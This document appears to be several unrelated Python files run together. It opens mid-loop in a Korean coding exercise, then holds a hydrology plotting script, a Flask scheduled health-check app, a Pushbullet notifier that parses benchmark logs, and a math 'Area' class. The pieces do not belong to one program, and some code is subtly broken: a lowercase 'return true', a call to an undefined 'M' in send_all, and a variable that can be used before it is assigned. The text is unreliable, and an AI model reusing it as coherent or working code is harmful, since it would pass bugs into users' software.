    while N_ls[-1] > 0 and N_ls[-2] > 0:        # 큰 수 두 개끼리 먼저 게임 시작, 둘 다 돈이 있어야 가능
        N_ls[-1] -= 1                           # 1원씩 사용
        N_ls[-2] -= 1
        game_n += 1                             # 둘 다 1원씩 사용하면 게임 수 증가
        N_ls.sort()                             # 다시 정렬해서 큰 수 갱신
    print(f'#{t} {game_n}')


import ConfigParser
import io
import sys
import os
import numpy as np
from scipy.stats import cumfreq
import matplotlib
import matplotlib.pyplot as plt
import matplotlib.colors as colors
import matplotlib.cm as cm
from mpl_toolkits.axes_grid1 import make_axes_locatable
from mpl_toolkits.basemap import Basemap
from matplotlib.backends.backend_pdf import PdfPages
import pickle

configFile = sys.argv[1]

def readConfigFile(configFileName):
  global config
  with open(configFileName) as f:
    sample_config = f.read()
  config = ConfigParser.RawConfigParser(allow_no_value=True)
  config.readfp(io.BytesIO(sample_config))
  return config

def stackedPlotHistogram(metric, catchmentSize, title, legendLoc = 2, ymax=3500):
  plotData = []
  lims = [0,10**4,25000,50000,10**5,25*10**4,25*10**10]
  for lim in range(1,len(lims)):
    sel1 = catchmentSize/10**6 < lims[lim]
    sel2 = catchmentSize/10**6 > lims[lim-1]
    sel = [x and y for x, y in zip(sel1, sel2)]
    plotData.append(metric[sel])
  ax1 = plt.hist(plotData, bins=np.arange(-1,1.01,0.1), width = 0.1, stacked=True, color=plt.get_cmap("Blues")(np.linspace(0, 1, 6)), label = ["$<10*10^3$","$<25*10^3$","$<50*10^3$","$<100*10^3$","$<250*10^3$","$\geq250*10^3$"], edgecolor = "none")
  ax1 = plt.legend(prop={'size': 10}, title="Catchment size ($km^2$)", loc = legendLoc)
  ax1 = plt.title(title)
  ax1 = plt.xlabel("Value")
  ax1 = plt.ylabel("Frequency")
  ax1 = plt.xlim(-1, 1)
  ax1 = plt.ylim(0, ymax)
  ax1 = plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()

def plotHistogram(metric, title):
  ax1 = plt.hist(metric, bins=np.arange(-1,1.01,0.1))
  ax1 = plt.title(title)
  ax1 = plt.xlabel("Value")
  ax1 = plt.ylabel("Frequency")
  ax1 = plt.xlim(-1, 1)
  ax1 = plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()

def plotCDF(forecast, validation, title, xlims = [-1,1]):
  forecast[forecast < -1.01] = -1.01
  vals, x1, x2, x3 = cumfreq(forecast, len(forecast))
  ax1 = plt.plot(np.linspace(np.min(forecast), np.max(forecast), len(forecast)), vals/len(forecast), label=str(config.get('Main options', 'RunName')))
  validation[validation < -1.01] = -1.01
  vals, x1, x2, x3 = cumfreq(validation, len(validation))
  ax2 = plt.plot(np.linspace(np.min(validation), np.max(validation), len(validation)), vals/len(validation), label=str(config.get('Reference options', 'RunName')))
  ax2 = plt.legend(prop={'size': 10}, loc=2)
  ax1 = plt.title(title)
  ax1 = plt.xlabel("Value")
  ax1 = plt.ylabel("ECDF")
  ax1 = plt.xlim(xlims[0], xlims[1])
  ax1 = plt.ylim(0, 1)
  ax1 = plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()

def plotScatter(forecast, validation, title):
  ax1 = plt.plot(validation, forecast, "ro", markersize=8)
  ax1 = plt.plot([-100,100], [-100,100])
  ax1 = plt.title(title)
  ax1 = plt.xlabel(str(config.get('Reference options', 'RunName')))
  ax1 = plt.ylabel(str(config.get('Main options', 'RunName')))
  ax1 = plt.xlim(-1, 1)
  ax1 = plt.ylim(-1, 1)
  ax1 = plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()

def plotHexBin(forecast, validation, title):
  forecast[forecast < -1.1] = -1.1
  validation[validation < -1.1] = -1.1
  ax1 = plt.hexbin(validation, forecast, gridsize=20, vmin=1, vmax=20, cmap="OrRd")
  ax1 = plt.plot([-100,100], [-100,100])
  ax1 = plt.title(title)
  ax1 = plt.xlabel(str(config.get('Reference options', 'RunName')))
  ax1 = plt.ylabel(str(config.get('Main options', 'RunName')))
  ax1 = plt.xlim(-1, 1)
  ax1 = plt.ylim(-1, 1)
  ax1 = plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()

def plotWorldMap(data, lons, lats, title, vmin = -1., vmax = 1., s=5):
  plt.figure(figsize=(8, 4))
  m = Basemap(projection='mill',lon_0=0, llcrnrlon=-20., llcrnrlat=20.,
    urcrnrlon=50., urcrnrlat=75.)
  x,y = m(lons, lats)

  m.drawcountries(zorder=0, color="white")
  #m.drawcoastlines(zorder=0, color="black")
  m.fillcontinents(color = 'black',zorder=-1)

  m.scatter(x,y, c=data, cmap='RdBu', vmin=vmin, vmax=vmax, s=s, edgecolors='none')
  m.colorbar()

  plt.title(title)
  plt.gcf().set_tight_layout(True)
  pdf.savefig()
  plt.clf()
  plt.figure(figsize=(8, 6))

config = readConfigFile(configFile)
runName = str(config.get('Main options', 'RunName'))
refName = str(config.get('Reference options', 'RunName'))

output, output2 = pickle.load(open('validationResultsPool_%s_%s.obj' %(runName, refName), 'rb') )
sel1 = (np.isnan(output[:,3]+output[:,2]+output[:,4]+output2[:,2]+output2[:,3]+output2[:,4]) == False)
sel2 = np.sum(output[:,3:], axis=1) != 0.0
sel3 = np.sum(output2[:,3:], axis=1) != 0.0
sel = [x and y and z for x, y, z in zip(sel1, sel2, sel3)]
sel5Min = sel

pdf = PdfPages(str(config.get('Output options', 'outputFile')))
matplotlib.rcParams.update({'font.size': 12})

plotWorldMap(output[sel5Min,3], output[sel5Min,0], output[sel5Min,1], 'Correlation with observations (%s)' %(str(config.get('Main options', 'RunName'))))
plotWorldMap(output2[sel,3], output2[sel,0], output2[sel,1], 'Correlation with observations (%s)' %(str(config.get('Reference options', 'RunName'))))
plotWorldMap(output[sel,3]-output2[sel,3], output[sel,0], output[sel,1], 'Correlation difference 5min - 30min', vmin=-0.5, vmax=0.5)

plotWorldMap(output[sel5Min,4], output[sel5Min,0], output[sel5Min,1], 'Anomaly Correlation (%s)' %(str(config.get('Main options', 'RunName'))))
plotWorldMap(output2[sel,4], output2[sel,0], output2[sel,1], 'Anomaly Correlation (%s)' %(str(config.get('Reference options', 'RunName'))))
plotWorldMap(output[sel,4]-output2[sel,4], output[sel,0], output[sel,1], 'Anomaly Correlation difference', vmin=-0.5, vmax=0.5)

plotWorldMap(output[sel5Min,4]-output[sel5Min,3], output[sel5Min,0], output[sel5Min,1], 'Anomaly Correlation - Correlation (%s)' %(str(config.get('Main options', 'RunName'))))

stackedPlotHistogram(output[sel5Min,3], output[sel5Min,2], "Correlation with observations (%s)" %(str(config.get('Main options', 'RunName'))), ymax=750)
stackedPlotHistogram(output2[sel,3], output2[sel,2], "Correlation with observations (%s)" %(str(config.get('Reference options', 'RunName'))), ymax=750)

stackedPlotHistogram(output[sel5Min,4], output[sel5Min,2], "Anomaly Correlation with observations (%s)" %(str(config.get('Main options', 'RunName'))), ymax=750)
stackedPlotHistogram(output2[sel,4], output2[sel,2], "Anomaly Correlation with observations (%s)" %(str(config.get('Reference options', 'RunName'))), ymax=750)

stackedPlotHistogram(output[sel5Min,5], output[sel5Min,2], "Kling-Gupta Efficiency (%s)" %(str(config.get('Main options', 'RunName'))), ymax=500)
stackedPlotHistogram(output2[sel,5], output2[sel,2], "Kling-Gupta Efficiency (%s)" %(str(config.get('Reference options', 'RunName'))), ymax=500)

stackedPlotHistogram(output[sel5Min,4]-output[sel5Min,3], output[sel5Min,2], "AC - R (%s)" %(str(config.get('Main options', 'RunName'))), ymax=550)

plotCDF(output[sel,3], output2[sel,3], "R")
plotCDF(output[sel,4], output2[sel,4], "AC")
plotCDF(output[sel,5], output2[sel,5], "KGE")

plotHexBin(output[sel,3], output2[sel,3], "R")
plotHexBin(output[sel,4], output2[sel,4], "AC")
plotHexBin(output[sel,5], output2[sel,5], "KGE")

pdf.close()


from flask import Flask
from flask_apscheduler import APScheduler

# config scheduling class
from statuschecker import get_health_status

class Config(object):
    JOBS = [
        {
            'id': 'check_health',
            'func': 'app:check_health',
            'trigger': 'interval',
            'seconds': 1800
        }
    ]

    SCHEDULER_API_ENABLED = True

# function triggered every 30 minutes
def check_health():
    return get_health_status();

# flask startup
app = Flask(__name__)
app.config.from_object(Config())

# initiate scheduler
scheduler = APScheduler()
scheduler.init_app(app)
scheduler.start()

if __name__ == '__main__':
    app.run(host='0.0.0.0')


#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import re
import logging
from .pushbullet import *

class Messenger(object):
    """docstring for Message"""
    def __init__(self): #, arg):
        # super(Message, self).__init__()
        # self.arg = arg
        self.ready = False
        self.message = ''
        self.error_bag = ''
        self.result_bag = ''
        self.pattern_time=re.compile(r'\d{1,2}h:\d{1,2}m:\d{1,2}s:\d{1,4}ms')
        self.pattern_process = re.compile(r'\([0-9\ ]{0,2}/\w{2}\)')
        self.pattern_stream = re.compile(r'stream\s+\d{1,2}')
        self.pattern_long_space = re.compile(r'\s+')
    def _message_chopper(self,line):
        if 'Finished' in line:
                return line
        else:
            return
    def bb_message_chopper(self,line):
        if 'Load test' in line:
            if 'finished' in line:
                try:
                    time = re.search(self.pattern_time,line)[0]
                except:
                    logging.info('re seach time failed')
                    time = 'TIME SEARH FAILED'
                message = 'Load finished. Time: '+time
                return message
        elif 'Power test' in line:
            if 'finished' in line:
                try:
                    time = re.search(self.pattern_time,line)[0]
                except:
                    time = ' TIME SEARH FAILED '
                try:
                    process = re.search(self.pattern_process,line)[0]
                except:
                    if time:
                        process = ' finished.'
                    else:
                        process = ' PROCESS SEARCH FAILED '
                    # logging.info('re seach time failed')
                message = 'Power'+process+' Time: '+time
                if process == ' finished.':
                    return message
        elif 'throughput' in line:
            if 'finished' in line:
                try:
                    self.pattern_long_space = re.compile(r'\s+')
                    stream_buff = re.search(self.pattern_stream,line)[0]
                    stream = self.pattern_long_space.sub(' ',stream_buff)
                except :
                    stream =''
                try:
                    time = re.search(self.pattern_time,line)[0]
                except:
                    time = ' TIME SEARH FAILED '
                try:
                    process = re.search(self.pattern_process,line)[0]
                except:
                    if time:
                        process = ' finished.'
                    else:
                        process = ' PROCESS SEARCH FAILED '
                    # logging.info('re seach time failed')
                message = 'Throughput '+ stream +process+' Time: '+time
                # if stream == 'stream 0':
                if process == ' finished.':
                    return message
        elif 'benchmark: Stop' in line:
            if 'finished' in line:
                try:
                    time = re.search(self.pattern_time,line)[0]
                except:
                    time = ' TIME SEARH FAILED '
                message = 'Benchmark Stop. '+'Time: '+time
                return message
        elif 'VALID BBQpm' in line:
            self.result_bag+=line
            message = line[:-1]
            return message
        elif 'Benchmark run terminated' in line:
            self.error_bag+=line
        elif 'Reason:' in line:
            self.error_bag+=line
        elif 'No final result available.' in line:
            self.error_bag+=line
            message=self.error_bag
            return message
    def message_buffer(self, line):
        if line[-1] == '\n':
            line_tmp=line[:-1]
        else:
            line_tmp=line
        print(line_tmp)
        sys.stdout.flush()
        logging.info(line_tmp)
        if line!='':
            message2push=self.bb_message_chopper(line)
        if message2push:
            self.message+=message2push
            self.ready=True
        if self.ready == True:
            logging.info('Pushing message...(%s)'%self.message)
            self.send()
    def test(self,message='Your network seems good.'):
        p = PushBullet(USER_API_KEY)
        try:
            # Get a list of devices
            devices = p.getDevices()
            # print_devices(devices)
        except:
            print('You may have a network connection probelem to connect pushbullet.com.')
            sys.stdout.flush()
            logging.info('You may have a network connection probelem to connect pushbullet.com.')
        else:
            if len(devices)!=0:
                print_devices(devices)
                sys.stdout.flush()
            #  Send a note
            p.pushNote(USER_DEVICE_IDEN, 'Alfred is with you.', message)
    def send(self):
        p = PushBullet(USER_API_KEY)
        try:
            # Get a list of devices
            devices = p.getDevices()
            # devices = 'pass'
            # print_devices(devices)
        except:
            print('You may have a network connection probelem to connect pushbullet.com.')
            sys.stdout.flush()
            logging.info('You may have a network connection probelem to connect pushbullet.com.')
        else:
            if len(devices)!=0:
                #  Send a note
                p.pushNote(USER_DEVICE_IDEN, 'News from Alfred', self.message)
                # print('PUSHING NEWS:%s'%self.message)
                self.message=''
                self.ready=False
    def send_all(self,retry=20):
        while retry>0 and self.message!='':
            M.send()
            retry-=1
            logging.info('Remaining Attempts:%d'%retry)


from Math import mathObject
import random

class areaObject(mathObject):
    def __init__(self):
        self.type = "Area"
        self.areaType = None
        self.pieces = []
        self.content = []

    def include(self, x):
        pass

class areaPiece(areaObject):
    def __init__(self, content, tp):
        areaObject.__init__(self)
        self.areaType = tp
        if isinstance(content, list):
            self.content = content
        else:
            self.content = [content]

    def include(self, x):
        if isinstance(x, list):
            if self.areaType == "discrete":
                for item in x:
                    if not item in self.content:
                        return False
                return True
            elif self.areaType == "continous":
                for item in x:
                    if not self.content[0] <= item <= self.content[1]:
                        return False
                return true
            else:
                return False
        elif isinstance(x, int) or isinstance(x, float):
            if self.areaType == "discrete":
                if not x in self.content:
                    return False
                else:
                    return True
            elif self.areaType == "continous":
                if not self.content[0] <= x <= self.content[1]:
                    return False
                else:
                    return True
            else:
                return False
        elif isinstance(x, mathObject) or isinstance(x, object):
            if self.areaType != "discrete" and self.areaType != "continous":
                return False
            if isinstance(x, areaObject):
                if isinstance(x, areaPiece):
                    if x.areaType == "continous" and self.areaType == "discrete":
                        return False
                    else:
                        return self.include(x.content)
                else:
                    rlt = True
                    for item in x.pieces:
                        rlt = rlt and self.include(item)
                    return rlt
            else:
                if self.areaType != "discrete":
                    return False
                else:
                    if x in self.content:
                        return True
                    else:
                        return False
        else:
            return False

class Area(areaObject):
    def __init__(self, tp, thetaList):
        areaObject.__init__(self)
        if isinstance(thetaList, list):
            tmp = []
            for item in thetaList:
                if isinstance(item, list):
                    self.pieces.append(areaPiece(item, tp))
        else:
            self.pieces.append(areaPiece(thetaList, tp))
        self.areaType = tp

    def include(self, x):
        for piece in self.pieces:
            if piece.include(x):
                return True
        return False